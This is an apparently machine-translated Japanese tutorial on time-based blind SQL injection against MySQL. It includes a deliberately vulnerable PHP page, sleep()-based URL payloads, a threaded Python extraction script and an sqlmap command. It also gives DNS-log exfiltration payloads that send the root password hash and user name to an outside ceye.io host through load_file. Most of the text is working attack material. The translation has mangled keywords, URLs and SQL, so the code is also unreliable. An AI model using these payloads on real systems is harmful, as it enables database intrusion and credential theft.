Jump to content

0x00インジェクションの定義遅延

遅延注射は盲検注射方法です。実行時間の関数SQLステートメントを送信し、実行時間の長さによって実行が成功するかどうかを判断します。たとえば、が正しい場合、それは長い時間を引き起こし、間違っている場合、それは短い実行時間を引き起こします。これはいわゆる高度な盲目の注射です。 SQLMAP、パンゴリン、ニンジンなどの主流の注入ツールは検出されず、手動でのみ検出でき、結果はスクリプトプログラムを使用して取得されます。

0x01注入関数の遅延

Sleep()//遅延機能

if(条件、true、false)

//条件文

ascii()

//ASCIIコードに変換します

サブストリング( 'strant'、strart、length)

//同じことがmid()に当てはまり、文字列の開始ビットと文字の長さを取り出します

if expression:if(expr1、expr2、expr3)

expr1が真である場合

(expr1 0およびexpr1 null)、if()の戻り値はexpr2です。それ以外の場合、返品値はexpr3です

ミッド関数:MID(column_name、start [、length])

column_name

必須。キャラクターを抽出するフィールド。

始める

必須。開始位置を指定します(開始値は1)。

長さ

オプション。返す文字の数。省略した場合、Mid()関数は残りのテキストを返します。

遅延インジェクションの原則は、爆発する情報のASCIIコードが正しい場合、遅延が発生し、それ以外の場合は遅延がないということです。

0x02実際の列の注入の遅延

1。時間遅延噴射コード

が含まれています

yanchi.php:

?php

ヘッダー( 'Content-Type:Text/html; charset=utf8');

$ link=mysql_connect( 'localhost'、 'root'、 'root');

mysql_select_db( 'mysql'、$ link);

mysql_set_charset( 'utf8');

$ sql='ユーザーからユーザーを選択します。ユーザー=' {$ _ get ['username']} '';

echo $ sql;

$ query=mysql_query($ sql);

エコー 'これは時間のブロードです';

2手動検査遅延インジェクション

http://10.0.0.21/yanci.php?username=root 'および睡眠(5)%23

または

http://10.0.0.21/yanci.php?username=root 'およびsleep(5)および' xrsl '=' xrsl#

または

http://10.0.0.21/yanci.php?username=root 'およびif(ascii(subst(database()、1,1))=114,1、sleep(5))#

注入がある場合、遅延時間が長くなります。

g4ngouwz2zj8690.jpg

3。 Pythonスクリプトを実行します(ユーザー名はこちらで実行されます)

#!/usr/bin/env python

# - * - coding: utf-8-* -

urllib2をインポートします

インポート時間

ソケットをインポートします

スレッドをインポートします

リクエストをインポートします

クラスmy_threading(threading.thread):

def __init __(self、str、x):

threading.thread .__ init __(self)

self.str=str

self.x=x

def run(self):

グローバル解像度

x=self.x

j=self.str

url='http://10.0.0.21/yanci.php?username=root' + + + + + fid ext' + fid%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29、 ' + sr(x) +') '、1%29%29、睡眠%282%29,0%29%23'

html=request(url)

verify='timeout'

html:にない場合

res [str(j)]=0

#print 1

else:

res [str(j)]=1

def request(url):

user_agent={'user-agent' : 'mozilla/5.0(macintosh; intel mac os x 10_7_3)applewebkit/534.55.3(khtml、geckoのような)バージョン/5.1.3サファリ/534.53.10'}

req=urllib2.request(url、none、user_agent)

try:

request=urllib2.urlopen(req、timeout=2)

例外を除き、E:

time.sleep(2)

「タイムアウト」を返す

return request.read()

def curl(url):

try:

start=time.clock()

requests.get(url)

end=time.clock()

return int(end)

requests.requestexception as e:を除く

u'erroryを印刷!」

出口()

def getLength():

i=0

true:

印刷'[+]チェック:%s \ r'%i

url='http://10.0.0.21/yanci.php?username=root'++sleep(if(length( olengtom (select%20user()))(Select%20User()

html=request(url)

verify='timeout'

html:で確認する場合

印刷'[+]長さ:%s'%i

私を返します

i=i + 1

def bin2dec(string_num):

return int(string_num、2)

def getdata(datalength):

グローバル解像度

データ=''

範囲のx(datalength):

x=x + 1

#print x

スレッド=[]

範囲(8):のJの場合

結果=''

j=j + 1

sb=my_threading(j、x)

sb.setdaemon(true)

threads.append(sb)

#print j

Threads:のtの場合

t.start()

Threads:のtの場合

T.Join()

#print res

TMP=''

範囲(8):のIの場合

tmp=tmp + str(res [str(i + 1)])

#print chr(bin2dec(tmp))

res={}

result=chr(bin2dec(tmp))

印刷結果

data=data + result

sb=none

印刷'[+] ok!'

print '[ +] result:' +データ

__name__=='__main __' :の場合

stop=false

res={}

length=getLength()

getData(長さ)

2.jpg

4。遅延インジェクションのsqlmap sqlmap.py -r q1.txt - dbms=mysql - -time -sec=5

5。 DNSログロギング

を介してブラインドを注入します

(1)ユーザー名ルートのパスワードを取得します

http://10.0.0.21/yanci.php?username=root 'およびif(select load_file(concat(' \\\\ '、(select concat(user、' _ '、mid(password、2,41))user user=' root 'lime 1)、'。

(2)DNSログレコードは:です。ここでは、http://CEYEE.IOのDNSレコードを使用して注入します。

kzj2p5b4v3f8692.jpg

pogloav51ai8693.jpg

(3)ユーザー名ルートパスワードの16進数を取得する

http://10.0.0.21/yanci.php?username=root 'and if((select load_file(' \\\\ '、(select hex(user()))、'。89mxv7.ceye.io\\ foobar '))、1,1)#)#)

DNSレコードは次のとおりです。

gbbx0035mgx8694.jpg

(4)Xiaokuiツールのクエリを取得します。

ll5xzrqsccd8695.jpg

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...